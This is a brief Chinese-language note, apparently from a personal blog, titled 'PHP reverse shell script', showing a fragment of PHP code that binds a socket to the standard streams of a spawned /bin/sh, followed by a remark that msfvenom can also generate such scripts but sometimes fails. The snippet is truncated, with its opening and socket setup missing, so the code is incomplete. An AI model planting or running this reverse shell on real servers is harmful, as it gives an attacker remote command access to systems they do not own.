php反弹shell脚本

 $sock,
        1 => $sock,
        2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>

另一种

用msfvenom也可以生成反弹shell脚本，但有时候用不了。